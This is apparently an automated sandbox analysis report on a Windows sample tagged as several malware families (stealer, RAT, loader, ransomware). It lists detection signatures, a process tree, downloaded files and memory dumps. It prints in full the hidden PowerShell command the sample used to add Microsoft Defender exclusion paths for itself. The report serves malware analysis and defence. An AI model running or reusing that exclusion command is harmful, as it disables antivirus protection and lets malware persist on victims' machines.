Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 10:21
General
- Target 2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe
- Size 12.0MB
- Sample260804-mdq4estscy
- SHA256 90f8888b1cf841c69aadaf6677e3734c82ec1ca97e6283b07396522b3d3d0a5b
Malware Config
Signatures
- Detects executables packed with VMProtect. 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- VMProtect packed file 1 IoCs
Detects executables packed with VMProtect commercial packer.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Drops file in Windows directory 5 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe"1⤵
- Downloads MZ/PE file
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';$f=@('C:\Users\Admin\AppData\Local\Temp','C:\Users\Admin\AppData\Local\Temp\2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe','C:\Users\Admin\AppData\Local\Temp\Launcher.dll');$e=@();try{$e=(Get-MpPreference).ExclusionPath}catch{};foreach($x in $f){if($e -notcontains $x){Add-MpPreference -ExclusionPath $x}}"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_764\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=764.4668.11483200896065625658 /pfhostedapp:71e8e8de99559891a36331298e82700bcec3af942⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\MNW_764\EBWebView /prefetch:4 /pfhostedapp:71e8e8de99559891a36331298e82700bcec3af94 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\MNW_764\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffe4df35fd8,0x7ffe4df35fe4,0x7ffe4df35ff03⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_764\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1740 --field-trial-handle=1752,i,13119517885677874429,11138435459929754847,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:2 /pfhostedapp:71e8e8de99559891a36331298e82700bcec3af943⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_764\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2204 --field-trial-handle=1752,i,13119517885677874429,11138435459929754847,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:3 /pfhostedapp:71e8e8de99559891a36331298e82700bcec3af943⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_764\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2228 --field-trial-handle=1752,i,13119517885677874429,11138435459929754847,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:71e8e8de99559891a36331298e82700bcec3af943⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_764\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3400 --field-trial-handle=1752,i,13119517885677874429,11138435459929754847,262144 --enable-features=MojoIpcz --variations-seed-version /pfhostedapp:71e8e8de99559891a36331298e82700bcec3af94 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_764\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2192 --field-trial-handle=1752,i,13119517885677874429,11138435459929754847,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:71e8e8de99559891a36331298e82700bcec3af943⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_764\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4464 --field-trial-handle=1752,i,13119517885677874429,11138435459929754847,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:71e8e8de99559891a36331298e82700bcec3af943⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
GFMemories.exe
settings.dat
settings.dat
throttle_store.dat
000001.dbtmp
MANIFEST-000001
Network Persistent State
Network Persistent State~RFe5ac45b.TMP
SCT Auditing Pending Reports
Preferences
Preferences
Preferences~RFe5a0e88.TMP
data_0
data_1
data_2
data_3
Local State
Local State
Local State
Local State
Local State~RFe599699.TMP
memory/764-9-0x0000000000600000-0x0000000001204000-memory.dmp
memory/764-1-0x0000000002FF0000-0x0000000002FF1000-memory.dmp
memory/764-7-0x0000000003080000-0x0000000003081000-memory.dmp
memory/764-8-0x0000000003090000-0x0000000003091000-memory.dmp
memory/764-3-0x0000000003020000-0x0000000003021000-memory.dmp
memory/764-4-0x0000000003060000-0x0000000003061000-memory.dmp
memory/764-2-0x0000000003000000-0x0000000003001000-memory.dmp
memory/764-5-0x0000000003070000-0x0000000003071000-memory.dmp
memory/764-0-0x0000000002FE0000-0x0000000002FE1000-memory.dmp
memory/932-210-0x00000231C6C10000-0x00000231C6C3F000-memory.dmp
memory/932-91-0x00007FFE6F720000-0x00007FFE6F721000-memory.dmp
memory/1316-28-0x0000000005E20000-0x0000000005E42000-memory.dmp
memory/1316-231-0x0000000073560000-0x0000000073D1C000-memory.dmp
memory/1316-167-0x00000000065C0000-0x00000000065DE000-memory.dmp
memory/1316-125-0x00000000060B0000-0x000000000640B000-memory.dmp
memory/1316-11-0x0000000073572000-0x0000000073573000-memory.dmp
memory/1316-36-0x0000000006030000-0x0000000006096000-memory.dmp
memory/1316-213-0x00000000075B0000-0x00000000075E6000-memory.dmp
memory/1316-214-0x000000006EC70000-0x000000006ECBC000-memory.dmp
memory/1316-217-0x0000000007590000-0x00000000075B0000-memory.dmp
memory/1316-218-0x0000000007820000-0x00000000078C3000-memory.dmp
memory/1316-221-0x0000000073572000-0x0000000073573000-memory.dmp
memory/1316-222-0x0000000073560000-0x0000000073D1C000-memory.dmp
memory/1316-224-0x0000000007970000-0x000000000798A000-memory.dmp
memory/1316-223-0x0000000007FD0000-0x000000000864C000-memory.dmp
memory/1316-225-0x00000000079E0000-0x00000000079EA000-memory.dmp
memory/1316-226-0x0000000007BE0000-0x0000000007C76000-memory.dmp
memory/1316-229-0x0000000073560000-0x0000000073D1C000-memory.dmp
memory/1316-168-0x0000000006620000-0x000000000666C000-memory.dmp
memory/1316-29-0x0000000005FC0000-0x0000000006026000-memory.dmp
memory/1316-27-0x0000000073560000-0x0000000073D1C000-memory.dmp
memory/1316-18-0x0000000005780000-0x0000000005DCA000-memory.dmp
memory/1316-19-0x0000000073560000-0x0000000073D1C000-memory.dmp
memory/1316-12-0x00000000050F0000-0x0000000005126000-memory.dmp
memory/2808-337-0x0000021BC6DE0000-0x0000021BC6DE1000-memory.dmp
memory/2808-339-0x0000021BC6DE0000-0x0000021BC6DE1000-memory.dmp
memory/2808-347-0x0000021BC6DE0000-0x0000021BC6DE1000-memory.dmp
memory/2808-346-0x0000021BC6DE0000-0x0000021BC6DE1000-memory.dmp
memory/2808-345-0x0000021BC6DE0000-0x0000021BC6DE1000-memory.dmp
memory/2808-344-0x0000021BC6DE0000-0x0000021BC6DE1000-memory.dmp
memory/2808-343-0x0000021BC6DE0000-0x0000021BC6DE1000-memory.dmp
memory/2808-348-0x0000021BC6DE0000-0x0000021BC6DE1000-memory.dmp
memory/2976-120-0x00007FFE6F720000-0x00007FFE6F721000-memory.dmp
memory/3840-309-0x00007FFE6E4C0000-0x00007FFE6E4C1000-memory.dmp
memory/3840-308-0x00007FFE6E770000-0x00007FFE6E771000-memory.dmp